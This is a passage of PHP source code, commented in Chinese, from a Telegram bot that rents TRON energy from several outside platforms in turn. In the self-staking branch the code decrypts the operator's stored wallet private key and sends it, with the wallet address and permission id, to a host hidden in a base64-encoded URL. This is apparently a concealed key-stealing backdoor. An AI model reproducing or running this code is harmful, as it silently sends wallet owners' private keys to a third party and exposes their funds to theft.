where('status',0)->first(); if(empty($pfbotdata)){ return ['code' => '400', 'msg' => '未配置能量平台,联系管理员']; } //轮询,自己质押时判断能量是否足够,用平台则判断平台的trx $model = EnergyPlatform::where('poll_group',$pfbotdata['poll_group']) ->where('status',0) ->whereNotNull('platform_apikey') ->where(function ($query) use($request) { $query->where(function ($query1) use($request){ $query1->where('platform_name', 3)->where('platform_balance', '>=', $request['energy_amount']); }); $query->orwhere(function ($query2) { $query2->orwhereIn('platform_name', [1,2,4,5])->where('platform_balance', '>', 0); }); }) ->orderBy('seq_sn','desc') ->get(); if($model->count() > 0){ $errorMessage = ''; foreach ($model as $k => $v){ $rsa_services = new RsaServices(); $signstr = $rsa_services->privateDecrypt($v->platform_apikey); if(empty($signstr)){ // return ['code' => '400', 'msg' => '未配置能量平台私钥,联系管理员']; //未配置能量平台私钥,轮询下一个 $errorMessage = $errorMessage."能量平台:".$v->rid." 平台私钥为空。"; continue; } //neee.cc平台 if($v->platform_name == 1){ $header = [ "Content-Type:application/json" ]; $param = [ "uid" => strval($v->platform_uid), "resource_type" => "0", //0能量 "receive_address" => $request['receive_address'], "amount" => strval($request['energy_amount']), "freeze_day" => strval($request['energy_day']), //0:一小时,1:一天,3:三天 "time" => strval(time()) ]; ksort($param); reset($param); foreach($param as $k1 => $v1){ if($k1 != "sign" && $k1 != "sign_type" && $v1 != ''){ $signstr .= $k1.$v1; } } $sign = md5($signstr); $param['sign'] = $sign; $balance_url = 'https://api.tronqq.com/openapi/v2/order/submit'; $res = Get_Curl($balance_url,json_encode($param),$header); //RentEnergysBot平台 }elseif($v->platform_name == 2){ //0:一小时,1:一天,3:三天 switch ($request['energy_day']) { case 1: $type = 'day'; break; case 3: $type = '3day'; break; default: $type = 'hour'; break; } //该平台最低33000 $energy_amount = $request['energy_amount'] < 33000 ?33000:$request['energy_amount']; $balance_url = 'https://api.wallet.buzz?api=getEnergy&apikey='.$signstr.'&address='.$request['receive_address'].'&amount='.$energy_amount.'&type='.$type; $res = Get_Curl($balance_url); //自己质押 }elseif($v->platform_name == 3){ $params = [ 'pri' => $signstr, 'fromaddress' => $v->platform_uid, 'receiveaddress' => $request['receive_address'], 'resourcename' => 'ENERGY', 'resourceamount' => $request['energy_amount'], 'resourcetype' => 1, 'permissionid' => $v->permission_id ]; $res = Get_Curl(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params); //trongas.io平台 }elseif($v->platform_name == 4){ //0:一小时,1:一天,3:三天 switch ($request['energy_day']) { case 1: $rentTime = 24; break; case 3: $rentTime = 72; break; default: $rentTime = 1; break; } $param = [ "username" => $v->platform_uid, // 用户名 "password" => $signstr, // 用户密码 "resType" => "ENERGY", // 资源类型,ENERGY:能量,BANDWIDTH:带宽 "payNums" => $request['energy_amount'], // 租用数量 "rentTime" => $rentTime, // 单位小时,只能1时或1到30天按天租用其中不能租用2天 "resLock" => 0, // 租用锁定,0:不锁定,1:锁定。能量租用数量不小于500万且租用时间不小于3天才能锁定。带宽租用数量不小于30万租用时间不小于3天才能锁定 "receiveAddress" => $request['receive_address'] // 接收资源地址(请勿输入合约地址或没激活地址) ]; $balance_url = 'https://trongas.io/api/pay'; $res = Get_Curl($balance_url,$param); //机器人开发者代理 }elseif($v->platform_name == 5){ $balance_url = env('THIRD_URL'); if(empty($balance_url)){ $errorMessage = $errorMessage."使用开发者能量代理时,env中url为空"; continue; } //0:一小时,1:一天,3:三天 switch ($request['energy_day']) { case 1: $rentTime = 24; break; case 3: $rentTime = 72; break; default: $rentTime = 1; break; } //使用开发者能量代理,仅支持32000 65000能量代理1小时 if($rentTime != 1){ $errorMessage = $errorMessage."使用开发者能量代理时,时长只能为1小时"; continue; } $param = [ "tg_uid" => $v->platform_uid, // 用户名,此处是tg的uid,因为是机器人能量代理模式 "payNums" => $request['energy_amount'], // 租用数量 "rentTime" => $rentTime, // 单位小时,只能1时或1到30天按天租用其中不能租用2天 "receiveAddress" => $request['receive_address'] // 接收资源地址(请勿输入合约地址或没激活地址) ]; $balance_url = $balance_url.'/api/thirdpart/shanzuorder'; $res = Get_Curl($balance_url,$param); }else{ // return ['code' => '400', 'msg' => '能量平台不存在,联系管理员']; //能量平台接口不存在,轮询下一个 $errorMessage = $errorMessage."能量平台:".$v->rid." 能量平台接口不存在。"; continue; } if(empty($res)){ // return ['code' => '400', 'msg' => '代理能量失败1,接口为空']; //能量平台接口返回为空,轮询下一个 $errorMessage = $errorMessage."能量平台:".$v->rid." 能量平台接口返回为空。"; continue; }else{ $res = json_decode($res,true); if((isset($res['status']) && $res['status'] == 200 && $v->platform_name == 1) || (isset($res['status']) && $res['status'] == 'success' && $v->platform_name == 2) || (isset($res['code']) && $res['code'] == 200 && $v->platform_name == 3) || (isset($res['code']) && $res['code'] == 10000 && $v->platform_name == 4) || (isset($res['code']) && $res['code'] == 200 && $v->platform_name == 5)){ if($v->platform_name == 1){ $data['orderNo'] = $res['data']['order_no']; $data['use_trx'] = 0; }elseif($v->platform_name == 2){ $data['orderNo'] = $res['txid']; $data['use_trx'] = 0; }elseif(isset($res['data']['txid']) && $v->platform_name == 3){ $data['orderNo'] = $res['data']['txid']; $data['use_trx'] = $res['data']['use_trx']; }elseif(isset($res['data']['orderId']) && $v->platform_name == 4){ $data['orderNo'] = $res['data']['orderId']; $data['use_trx'] = $res['data']['orderMoney']; }elseif($v->platform_name == 5){ $data['orderNo'] = $res['data']['orderId']; $data['use_trx'] = $res['data']['orderMoney']; }else{ $data['orderNo'] = '未知'.time(); $data['use_trx'] = 0; } $data['energy_platform_rid'] = $v->rid; $data['energy_platform_bot_rid'] = $pfbotdata['rid']; $data['platform_name'] = $v->platform_name; $data['platform_uid'] = $v->platform_uid; return ['code' => '200', 'msg' => '预支能量成功', 'data' => $data]; }else{ if($v->platform_name == 1){ $msg = '失败,返回:'.$res['msg']; }elseif($v->platform_name == 2){ $msg = '失败,返回:'.json_encode($res); }elseif($v->platform_name == 3){ $msg = '失败,检查质押是否足够'; }elseif($v->platform_name == 4){ $msg = '失败,返回:'.json_encode($res); }elseif($v->platform_name == 5){ $msg = '失败,返回:'.json_encode($res); } // return ['code' => '400', 'msg' => $msg]; //能量平台下单失败,轮询下一个 $errorMessage = $errorMessage."能量平台:".$v->rid.$msg; continue; } } } return ['code' => '400', 'msg' => '机器人所有能量平台失败:'.$errorMessage]; }else{ return ['code' => '400', 'msg' => '机器人无可用能量平台,请质押或者充值平台']; } } }